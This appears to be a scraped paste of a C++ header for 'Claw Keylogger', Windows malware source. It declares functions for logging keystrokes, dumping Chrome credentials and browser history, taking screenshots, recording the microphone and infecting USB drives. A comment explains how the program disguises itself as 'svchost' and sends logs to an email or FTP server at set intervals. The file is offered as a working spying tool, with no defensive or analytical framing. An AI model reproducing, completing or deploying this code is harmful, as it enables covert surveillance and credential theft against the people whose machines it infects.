Professional Documents
Culture Documents
Raw QQ2khW7W
Raw QQ2khW7W
https://github.com/quantumcore
https://quantumcored.com
CLAW KEYLOGGER
*/
//====================
#ifndef Claw_C
#define Claw_C
#include <algorithm>
#include <string>
#include <sstream>
#include <fstream>
#include <windows.h>
#include <limits>
#include <tchar.h>
#include <TlHelp32.h>
#include <shlobj.h>
#include <ctime>
#include <gdiplus.h>
#include <wininet.h>
//====================
//====================
// Threads
DWORD WINAPI NOTIFIER(LPVOID lpParameter);
DWORD WINAPI USBINFECT(LPVOID lpParameter);
//====================
class Claw {
public:
/*
Gets Keylogger Reqiured INFORMATION.
smtp[]mygmail@gmail.com[]mygmailpassword[]svchost[]300000[]1
|- Sends Logs to Email on mygmail@gmail.com. Infects the PC with name
'svchost'.
|- Sends Logs every 5 Minutes, With Mic Recording.
ftp[]myserver.com,username[]myftpserverpass[]svchost[]300000[]0
|- Sends Logs to FTP on myserver.com. Infects the PC with name
'svchost'.
|- Sends Logs every 5 Minutes, Without Mic Recording.
|- see claw.cpp line 399 for details on ftp innformaton parsing
Time Intervals that Claw uses are 300000ms (5 minutes), 600000ms (10
minutes), and 900000 (15 minutes)
*/
std::string GetKeyLoggerInformation();
//============================
DWORD ProcessId(LPCTSTR ProcessName); // GET PID of a Process by Name
//============================
BOOL isFile(const char* file); // Check if a file exists, Returns TRUE if it
does, FALSE if it does not.
//============================
std::string readFileContents(const char* file); // Returns the contents of a
file.
//============================
std::string ExecuteOutFile(const char* command, const char* output_filename);
// Execute a PS Command and Redirect output to file.
//============================
void ExecuteSilent(const char* command); // Execute a PS Command Silently
//============================
void ExecuteCommandPrompt(const char* command); // Execute a Command in CMD.
//============================
std::string DumpChromeCredentials(); // Dump Google Chrome Credentials
//============================
void DumpBrowserHistory(); // Dump Browser history
//============================
bool hookShift(); // Get shift status
//============================
bool capsLock(); // Get capslock status
//============================
int filter(int key); // Filters keys
//============================
void Keylogger(); // The Keylogger
//============================
std::string KeylogFileName(); // returns Keylogger filename
//===========================
std::string WindowStamp(); // returns Window Name + Timestamp
//===========================
void ScreenShot(std::string JPEG_FILENAME); // Takes Screenshot of the Entire
Screen.
//===========================
std::string WANIP(); // Returns WAN IP Address
//===========================
std::string UserPC(); // Returns User / PC.
//===========================
void RecordMic(); // Records Mic.
};
#endif // ! Claw